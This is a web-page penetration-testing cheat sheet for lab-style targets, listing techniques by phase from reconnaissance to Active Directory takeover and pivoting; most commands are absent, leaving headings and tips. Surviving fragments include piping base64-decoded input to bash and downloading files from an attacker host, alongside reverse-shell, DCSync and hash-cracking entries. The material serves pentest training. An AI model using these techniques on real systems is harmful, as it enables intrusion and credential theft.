// Pentest Cheatsheet
111 commands organized by attack phase — from initial recon through post-exploitation. Seeded from real HTB writeups.
No commands found for ""
Try a tool name, technique, or keyword
Reconnaissance
Map the attack surface before touching anything. Ports, services, DNS, web directories.
Port Scanning
Full scan — all ports, versions, default scripts
Best first scan. -oN saves output. Takes ~2 min on HTB.
Quick scan — top 1000 ports
Run this first while the full scan runs in background.
UDP scan — top 200 ports
Slow but catches SNMP (161), TFTP (69), DNS (53).
Targeted scripts on open ports
Run after identifying open ports.
SMB-specific scripts
Web Enumeration
Directory brute-force
Add -k to ignore SSL errors. Add -b 403,404 to filter noise.
Fast directory brute-force
Add -fs {SIZE} to filter by response size.
Virtual host brute-force
Find the right -fs value from a known-bad response first.
Recursive directory scan
Parameter discovery
Technology fingerprinting
Identifies CMS, frameworks, server version.
DNS
Zone transfer — dump all records
Works when zone transfer is misconfigured. Reveals all subdomains.
Subdomain brute-force
All DNS records
Reverse DNS lookup
Reveals hostname from IP — sometimes leaks internal domain names.
Service Enumeration
Deep-dive into specific services. SMB, LDAP, RPC, databases, and protocols.
SMB Enumeration
List shares — null/anonymous session
-N means no password. Works when null sessions are allowed.
List shares — with credentials
Connect and browse a share
Use get {FILE} to download, ls to list, recurse + mget * to grab everything.
Enumerate shares, users, policies (NetExec)
RID brute-force — enumerate users without creds
Works against many AD environments with null session.
Spider and index all share contents
Downloads a JSON index of everything readable on all shares.
Full enumeration (enum4linux)
Wraps smbclient, rpcclient, nmblookup into one output.
RPC
Open null session
Enumerate domain users
Get user details by RID
Enumerate domain groups
Get group members
LDAP
Find the base DN
Always run this first to discover the domain base DN.
Enumerate all users
Look at the description field — passwords are often stored there.
Authenticated LDAP query
Find accounts with password in description
Other Services
SNMP — enumerate with community string
Try: public, private, community, manager. Leaks users, processes, config.
SMTP — enumerate users
MySQL — login and enumerate
MSSQL — login with impacket
Add -windows-auth for domain accounts.
FTP — anonymous login
Try username: anonymous, password: (blank). Then ls -la and mget *.
Foothold
Get your first shell. Password attacks, web exploitation, and initial access techniques.
Password Attacks
SSH brute-force
-t 4 limits threads to avoid lockout. Use -L for a user list.
HTTP form brute-force
Adjust the form fields and failure string to match the target.
SMB password spray
Use one password at a time to avoid lockout. Ideal with domain userlist.
Kerbrute — user enumeration
Valid users return a pre-auth error, invalid ones get nothing.
Kerbrute — password spray
Web Exploitation
SQLi — automated scan
Add --cookie="session=..." for authenticated scans. Add --level=5 --risk=3 for deeper.
SQLi — dump specific table
LFI — test for path traversal
Try with and without URL encoding. Also try PHP wrappers: ?file=php://filter/...
LFI — PHP filter wrapper (read source)
SSRF — probe internal services
Iterate ports to find internal services. Try 80, 443, 8080, 8443, 6379, 3306.
File upload — bypass extension check
Also try: shell.phtml, shell.php5, shell.phar, or adding null bytes.
Reverse Shells
Bash — TCP reverse shell
Bash — TCP (base64 encoded for injection)
Decode + pipe to bash on target: echo {B64} | base64 -d | bash
Python 3 — reverse shell
PHP — reverse shell (one-liner)
PowerShell — reverse shell
Netcat — reverse shell (with -e)
Netcat — reverse shell (without -e)
Works on systems without -e support (OpenBSD netcat).
Shell Upgrade
Step 1 — Spawn PTY with Python
Run this first inside your dumb shell.
Step 2 — Background and fix terminal
stty raw -echo runs in YOUR local terminal, not the target.
Step 3 — Set environment
Script method (alternative)
Simpler but may not fully fix arrow keys.
Active Directory
Kerberos attacks, BloodHound, AD CS exploitation, and lateral movement through the domain.
Kerberos Attacks
AS-REP Roasting — no pre-auth accounts
Crack output with: hashcat -m 18200 asrep_hashes.txt rockyou.txt
Kerberoasting — SPN service ticket request
Crack output with: hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
Kerberoasting via NetExec
BloodHound
Collect all data — password auth
Creates JSON files. Start neo4j, open BloodHound, then drag-drop the ZIPs.
Collect via Kerberos ticket
Key BloodHound queries
Use the pre-built "Analysis" queries in BloodHound GUI before writing custom Cypher.
AD CS (Certificate Services)
Find vulnerable certificate templates
Look for ESC1–ESC8 vulnerabilities in the output.
ESC1 — request cert as another user
Authenticate using certificate (get NTLM hash)
Outputs the NT hash for the account. Use with pass-the-hash.
Shadow credentials attack
Requires WriteProperty on the target account's msDS-KeyCredentialLink.
Forge golden certificate (ESC3/ESC6)
Lateral Movement
Evil-WinRM — remote shell (password)
WinRM must be enabled on target (port 5985/5986).
Evil-WinRM — remote shell (NTLM hash)
PSExec — SYSTEM shell (hash)
WMIExec — shell without writing to disk
Pass-the-Ticket — inject TGT
Then: export KRB5CCNAME=administrator.ccache and use -k -no-pass with tools.
Domain Dominance
DCSync — replicate all hashes
Requires Replicating Directory Changes permissions (Domain Admin or delegated).
DCSync — from local NTDS.dit
After downloading NTDS.dit and SYSTEM hive from DC.
Pass-the-Hash — verify admin access
Look for (Pwn3d!) in output confirming local admin.
Privilege Escalation
Escalate from low-privilege user to root or SYSTEM. Linux and Windows techniques.
Linux — Enumeration
LinPEAS — automated enumeration
Focus on yellow (interesting) and red (critical) findings.
Check sudo permissions
Check GTFOBins for anything listed. Even (ALL : ALL) NOPASSWD: /usr/bin/vim is exploitable.
Find SUID binaries
Compare against GTFOBins: https://gtfobins.github.io/
Check capabilities
cap_setuid+ep on python/perl/ruby = instant root.
Find writable files owned by root
Check cron jobs
Look for writable scripts run as root.
Check running processes
Find config files with passwords
Windows — Enumeration
WinPEAS — automated enumeration
Upload first. Use evil-winrm upload winPEAS.exe. Look for orange/red findings.
Check current privileges
SeImpersonatePrivilege → GodPotato/PrintSpoofer. SeBackupPrivilege → NTDS dump.
Check group membership
Backup Operators group = can dump NTDS.dit.
Find unquoted service paths
If path has spaces and no quotes, you can plant a binary.
Check AlwaysInstallElevated
If both HKLM and HKCU return 1, you can install MSI as SYSTEM.
Find passwords in registry
Stored credentials
Stored creds → runas /user:{USER} /savecred "{CMD}"
Post Exploitation
After you have a shell — transfer files, crack hashes, establish persistence, pivot.
File Transfer
Python HTTP server (on attacker)
Serve files from current directory. Target downloads with wget/curl.
Download on Linux target
Download on Windows target (PowerShell)
Short form: iwr "http://{LHOST}:8080/{FILE}" -o C:\Temp\{FILE}
Download on Windows target (certutil)
Works when PowerShell is restricted.
SMB share for transfer (on attacker)
Then on Windows: copy \\{LHOST}\share\{FILE} C:\Temp\
Evil-WinRM upload/download
Only works inside an evil-winrm session.
Hash Cracking
NTLM hash (-m 1000)
NTLMv2 / Net-NTLMv2 (-m 5600)
Kerberoast ticket (-m 13100)
AS-REP Roast hash (-m 18200)
With rules (better coverage)
John — auto-detect and crack
John — SSH private key
Tunneling & Pivoting
Chisel — SOCKS5 proxy (attacker server)
Chisel — SOCKS5 proxy (victim client)
Creates SOCKS5 proxy on 127.0.0.1:1080. Use with proxychains.
Chisel — port forward
Expose a specific internal port on your local machine.
SSH — dynamic SOCKS proxy
Creates SOCKS5 on port 1080. Use with proxychains.
SSH — local port forward
Access internal service at localhost:{LPORT}.
Proxychains — route tools through SOCKS
Edit /etc/proxychains4.conf: add socks5 127.0.0.1 1080 at the bottom.